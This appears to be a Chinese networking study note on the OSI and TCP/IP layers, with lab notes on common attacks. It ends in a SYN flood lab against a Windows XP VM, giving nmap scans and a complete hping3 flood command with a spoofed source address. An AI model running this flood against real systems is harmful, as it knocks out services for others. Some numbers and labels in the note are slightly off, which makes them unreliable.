OSI七层模型

本文详细介绍了OSI的七层模型和TCP/IP模型,包括每层的功能、数据单元类型以及通信方式。讨论了网络设备如何处理数据,通过封装和解封装的过程。此外,还提到了协议分层的原因和TCP/IP协议栈的安全隐患,如物理层的物理破坏、数据链路层的MAC欺骗等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

OSI 的七层模型 七层模型

TCP/IP 模型

数据单元

对等层通讯

垂直方向:提供服务

水平方向:对等通信

网络设备处理数据的流程

封装和解封装

协议为什么要分层

TCP/IP协议栈常见的安全风险

物理层

特性

编码格式

信道复用

传输介质

物理层的安全风险

数据链路层

链路

数据链路层解决的三个问题

组网类型

局域网的两种形式

冲突域

广播域

交换机 ------->工作中数据链路层

数据链路层的设备

数据链路层的攻击

网络层(IP)

IP编址

IP路由

IP分片

ARP协议

传输层

1.实现端口 到 端口的通信

2.端口号:即程序的地址

3.传输层的两个协议

传输层的安全威胁


OSI 的七层模型 七层模型

 7.应用层 产生数据

6.表示层 将数据格式化 压缩 加密等操作

5.会话层 负责建立起会话 规定 数据 在传输时使用的 IP 地址 端口号等


4.传输层(运输层) 实现 数据端口 --- 端口 通信(端到端通信) 端口---对应特点的应用服务

3.网络层 (网际层) 实现数据 主机到主机的通信 站点到站点 (IP地址----IP地址)

  • 负责数据的路由

2.数据链路层 从一个MAC 地址(物理地址)到另一个MAC 地址直接的通信 数据从哪一张网卡 到另外一张网卡

  • 负责链路之间的,不同的传输介质之间的数据传递

1.物理层 将数据 转换成 二进制信号 (比特流 )进行传递 和传输介质相关


前三层负责传输完整的数据

后三层负责传输过程中的各种参数

每一层的数据都叫做一个 PDU 协议 数据单元 (protocol data unit )

apdu ppdu spdu

传输层 segment 数据段

网络层 packet 数据包

数据链路层 frame 数据帧

网络层 bit 比特流

TCP/IP 模型

对应关系:

数据单元

每一层的数据都叫做一个 PDU 协议 数据单元 (protocol data unit )

下四层:

apdu ppdu spdu

传输层 segment 数据段

网络层 packet 数据包

数据链路层 frame 数据帧

物理层 bit 比特流

对等层通讯

垂直方向:提供服务

下一层为上一层 提供服务

下一层 封装上一层,最后形成数据帧,在传递的过程中,物理层将数据帧转换成比特流。

水平方向:对等通信

对等通信

网络设备处理数据的流程

封装和解封装

 发送数据,要把数据,封装起来(装包)
 接收数据,要把数据进行解封装(拆包)  接收端工作在哪一层,就把数据解封装到哪一层
 如果将接受到的数据再去 转发 ,还需要 将数据 再次进行封装

TCP/IP 协议封装和解封装的过程

协议为什么要分层

 每一层的职责是相互独立的 某一次的参数发生变化,与其它层是不会相互影响的
 对于开发的角度,如果要开发一个新的应用协议,不需要再去考虑其他层 如何开发,节约时间节约成本,提高效率,维护起来方便
 OSI参考模型是一个标准的模型,某些协议,不需要这七层全部的加入来进行 比如 ARP协议 只需要封装 数据链路层和他的数据部分即可。比如 ICMP协议 ,只封装数据链路层、网络层即可。对于协议的应用更加灵活。
 ....

TCP/IP协议栈常见的安全风险

应用层:Web安全(渗透测试)

物理层

为传输数据所需要的物理链路创建、维持、拆除

特性

  • 机械 如:网线水晶头

    • 水晶接头:

    • 引线数目:8

    • 排列顺序:

      • T568A

      • T568B:橙白 橙 绿白 蓝 蓝白 绿 棕白 棕

  • 光纤接头

  • 电子 指明在接口电缆的各条线上出现的电压的范围

    • 如以太网线,8颗芯 其中4跟带有电压,负责数据通信

  • 功能 指明某条直线上出现的某一电平的电压表示某种意义

  • 规程 指明对于不同功能的各种可能事件的出现顺序。

    • 如 :事件A : 10101010 事件B :10101011

编码格式

曼彻斯特

差分曼彻斯特

信道复用

就是同时公用一条信道来进行信息传输。

传输介质

电磁波

光纤

同轴电缆

以太网线

物理层的安全风险

  • 物理破坏

    • 人为

    • 自然环境

      • 机房位置不能处于地下室

      • 机房的环境 温度

      • 湿度 高(冷凝水) 低 (静电)

  • 窃听

数据链路层

工作在OSI模型的第二层-------> 二层

为网络层提供服务------>将封装到网络层的数据,进行数据传输

链路

链路:从一个结点到相邻结点的一段物理线路,而中间没有任何的交换结点。

链路按照传输介质:如 wierless ----> 802.11、以太网---->Ethernet 2 、802.3、光纤、PPP链路(ppp协议)等

数据链路层会将数据封装成

数据链路层解决的三个问题

  • 封装成帧 将上层数据 加上帧头 (源目MAC地址和type字段)和帧尾(检验数据)

    • 数据帧的结构:数据帧头部+数据部分+帧尾

      • 帧头部 主要是源、目MAC地址

      • type字段 标明上层协议是什么

  • 差错检测

    • 基于 帧尾的 sumcheck 校验和 ,用来校验整个数据帧的完整性

基于帧尾校验和(sum check)来实现

  • 可靠传输

    • 能够保障 发送者发送什么。接受者就能够接收到什么

组网类型

  • 共享型网络:所有的设备都处于一个冲突域

    • 冲突域 一个冲突域也是一个局域网

    • 争用型网络(没有规则,随机)

      • 传输数据依靠

      • 集线器。形成总线型网络。工作中物理层。

    • 确定型介质访问(有序访问)

      • 令牌环网络 CSMA/CD ---> CS:载波侦听 MA:多路访问 CD:碰撞检测

      • 有序的访问控制协议

  • 非共享型网络 :交换网络

    • 交换机--------->提供一个广播域网络

    • 能够实现主机间单播通信

    • 解决了冲突域的问题

    • 基于交换机来实现的

    • 交换机的接口独享一个宽度

    • 所有设备处于一个广播域 或 局域网

局域网的两种形式

冲突域

  • 基于集线器

  • 争用型网络中 使用的技术

广播域

一台交换机默认的所有接口下的设备,都在一个广播域下。

如果目的MAC地址是一个具体的MAC地址的话,一般情况下,该数据会被交换机单播

如果目的MAC地址是一个非具体的MAC地址的话,有一种情况是广播,一个广播的目的MAC地址是 FFFF-FFFF-FFFFF

交换机 ------->工作中数据链路层

  • 基于交换机、交换机能够实现单独的链路传输

  • 交换机的工作原理:

    • 交换机刚接入网络时,MAC地址表是空的

    • 交换机的转发数据帧,依靠MAC地址表

    • 交换机接受数据的时候需要解封装并学习源MAC地址

    • 交换机如何发送数据

      • 情况1 查看CAM表是否存在和目的MAC地址相关的信息。如果有,把数据单播发送该数据帧到目的的接口。

      • 情况2 如果没有 则将数据帧泛洪发送到该局域网的所有接口

  • CAM的特点

    • CAM表的条目是有老化时间的

    • CAM表是有容量的

      • 如果CAM表满了,会发生双向泛洪,交换机无法学习。

  • 交换机的特性

    • 通过交换机的1个接口,可以学习到多个MAC地址

    • 一个MAC地址,只能被一个接口学习(对应一个接口)

    • MAC地址表容量有限

单播通信:数据帧中的目的MAC地址是具体的。

广播通信:MAC地址全F

数据链路层的设备

交换机

  • 交换机:交换机工作在OSI模型的第二层(数据链路层

  • 它可以为接入交换机的任意两个网络节点提供独享的电信号通路:交换机拥有一条高带宽的背部总线和内部交接矩阵,在同一时刻可进行多个端口对之间的数据传输。

交换机接口的数据传输模式

  • 全双工 能同时进行接受和发送数据,相当于两个人打电话

  • 半双工 能发送信号,也能接受信号,但是不能同时进行

    • 单工 只能发送或者接受信号的设备 如:广播电视台和收音机

  • 自适应

交换机的工作原理

  • 交换机工作 依赖于 MAC地址表

    • MAC地址表:上面记录了 接口和 与该接口相连设备的MAC地址

  • 1.交换机接受数据帧,会解封装该数据帧的 数据链路层(源MAC地址和目的MAC),学习源MAC地址

    • 丰富的MAC地址表形式:

      • 1.管理员手动输入(很少使用)

      • 2.交换机自己学习

    交换机的一个接口可以学习多个MAC地址

    但一个MAC地址只能被一个交换机学习

    2.交换机要转发数据帧,会查询 目的MAC地址和出接口的对应关系

    • 1.如果交换机找到该对应关系,则将数据帧发送往对应的接口

    • 2.如果交换机没有找到对应关系,则将数据帧 泛洪到该广播域下的每一台主机上。

  • 关于交换机的MAC地址表

    • 刚接入网络时,交换机的MAC地址表是空的

    • 交换机学习到的 接口与MAC地址对应关系的信息叫做MAC地址表的条目。MAC地址表的条目 使用寿命(默认300s)

    • 交换机的MAC地址表的容量是有限的。

    • 关于交换机学习MAC地址,如接口1-----AA,当交换机从其他接口(接口2)又学习到了AA这个MAC地址,此时会将原来的接口1----AA的对应关系删除,重新填写一个接口2-----AA,将MAC地址表更新。

交换机转发数据的原理:

数据链路层的攻击

  • MAC欺骗

    • 基于交换机的特性:一个MAC地址,只能被一个接口学习到

  • MAC地址泛洪攻击

网络层(IP)

实现 站点 到 站点 之间的通信

1.给每一个站点 定义IP地址:IP的编址

2.IP的寻址------>依靠路由技术

3.工作网络层的设备是 路由器

网络层实现分包与组包

如果一台设备想要在 参与到 网络中,必须要有IP地址

网络层提供了3个工作机制来实现IP数据的传输

IP编址

  • 给每一台设备 分配一个IP地址。

  • 目前使用的IP地址 IPv4 IPv6

  • IP地址的定义:

  • IP地址是主机 或者 路由器的 “身份证号”

IP地址的表示形式

  • 二进制IPv4地址的长度是32位 ---> 一个有多少个IPv4地址:2^32个

    • 点分二进制的表示形式

    • 点分十进制的表示形式

  • IP地址要分为5类

    A、B、C、D、E五类

  • IP地址的两个部分:网络位 + 主机位

    主机位的个数:

    A类: ----2^24 16777216

    B类: ----2^16 66536

    C类: ----2^8 256

    • 网络位 表示 是哪一个局域网

    • 主机位 表示在该局域网中 具体的 IP 地址

    • 每一类IP地址当中,都会有私有地址

      • 私有IP地址最初用于 科研(不允许加入互联网)

      • 私有地址在不同的局域网中,可以重复使用

    • 公有地址 除了私有地址以外的地址,都是公有地址。在网络中是唯一的,不能重复使用。

解决IP地址浪费的问题:

1.子网划分

2.子网掩码

用来表示IP地址当中,哪一位是网络位,哪一位是主机位

  • 特点

    • 1 对应的位 是网络位,0 对应的位 是主机位。

    • 从左到右,必须是连续的1和连续的0

3.VLSM(可变长度子网掩码)---------解决IP地址浪费的问题

子网掩码变长,子网多了,每个子网的地址(主机)变少了。

子网掩码变长多少n位,就会出现2的n次方个子网。然后每个子网的主机位(主机个数)就是原来的1/(2^n)

4.IP地址的无类化

子网掩码可以变长,也可以变短,按照此种方式进行IP地址划分,可以不用考虑IP地址分类的问题。

IPv4地址的另一个问题------ 数量不够

IP地址不够用

  • IPv6 地址 2^128个,一般使用16进制来表示。全球唯一!!!

  • 万物互联------物联网技术。

IP路由

决定数据包要去往目的地址,从哪一个方向去转发。

路由

从一台主机 发往其他 网段的信息(想夸网段通信),经过路由器,进行路由表的查询,转发到其他能到达该目的接口的行为。

路由表

路由表是路由器转发数据的依据(MAC地址表是交换机转发数据的依据, 区别:交换机查不到数据会泛洪,但路由器查不到数据会丢弃该数据包)

IP分片

如果数据过大,需要将数据拆分后去传递

  • MTU max transport unit 最大传输单元 MTU值在以太网中是1500字节。

  • 比如:在以太网上(一个以太网数据帧) 传输数据(封装的数据部分),最大为1500字节。

IP报文(IP包头)------------> 一段数据

  • IP报文头数据的大小,默认为20 字节

分片:

IP报文头

ARP协议

ARP协议的特性

ARP攻击

  • arp的欺骗:单独欺骗一方

  • arp中间人的攻击:通信双方都欺骗

场景:

传输层

1.实现端口 到 端口的通信

20、21------ FTP

22 SSH

23 Telnet

53 DNS

80 HTTP

2.端口号:即程序的地址

端口范围:0-65535

源端口号: 49152---65535之间的随机端口号

目的端口号: 0-1023或者1024-49151固定的端口号,这些端口号都对应了固定的应用服务

3.传输层的两个协议

TCP

TCP为应用服务提供一种面向连接的、可靠的连接

  • TCP的首部格式

  • 面向连接

    • 三次握手:在正式的数据传输之前,先建立连接通道

    • 四次挥手:数据传输结束要断开连接

    三次握手:

四次挥手:

  • 可靠传输

  • 确认和重传

    每一个数据发送到对方,对方会回复一个 确认报文

    如果发送者向目标发送了某个数据,没有收到该目标的回复报文,则会发生数据重传!

  • 分段重组

    • tcp的MSS: 1460字节数据

      TCP会将 MSS大小 数据 进行 分段(segment)

      通过分段数据的序列号进行重组

  • 流量控制

    • 慢启动和拥塞控制

    • 滑动窗口值

UDP 用户数据报协议

UDP是不可靠的

面向无连接的,不可靠!

传输层的安全威胁

UDP的 拒绝服务攻击

TCP的半开连接

SYN Flood攻击实验

也叫SYN半开连接实验

实验原理:

1.实验准备:

将kali 和靶机(win XP)设置在同一个网段(Vmware8网卡)

2.在kali上查看自己的IP地址所在的网段,根据信息,进行该网段内的ip地址扫描(信息收集)

ip addr或者ifconfig

3.查看完kali的ip地址之后,进行该网段IP的扫描

nmap -sP 192.168.100.0/24

4.找到XP系统对应的ip 进行扫描,如果不知道就全部扫描一遍

nmap -sV 192.168.100.0/24

5.切记Windows XP防火墙要关闭!!!

6.查看开发的端口,对应进行SYN半开连接攻击。

攻击前后对照:

攻击前:查看XP任务管理器的cpu使用率

攻击后:查看XP任务管理器的cpu使用率

攻击前:

攻击后:

攻击命令:

 hping3 -q -n -a 9.9.9.9 -S -s 53 --keep -p 135 --flood 192.168.100.137
 ​
 -a 指定源IP地址 9.9.9.9 为攻击者 伪造的ip地址
 -S 使用的供给方式为 SYN 半开连接攻击
 -s 指定源端口号 53为攻击者伪造的端口号
 -p 指定目标端口号 使用 扫描到的端口号

抓包查看:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值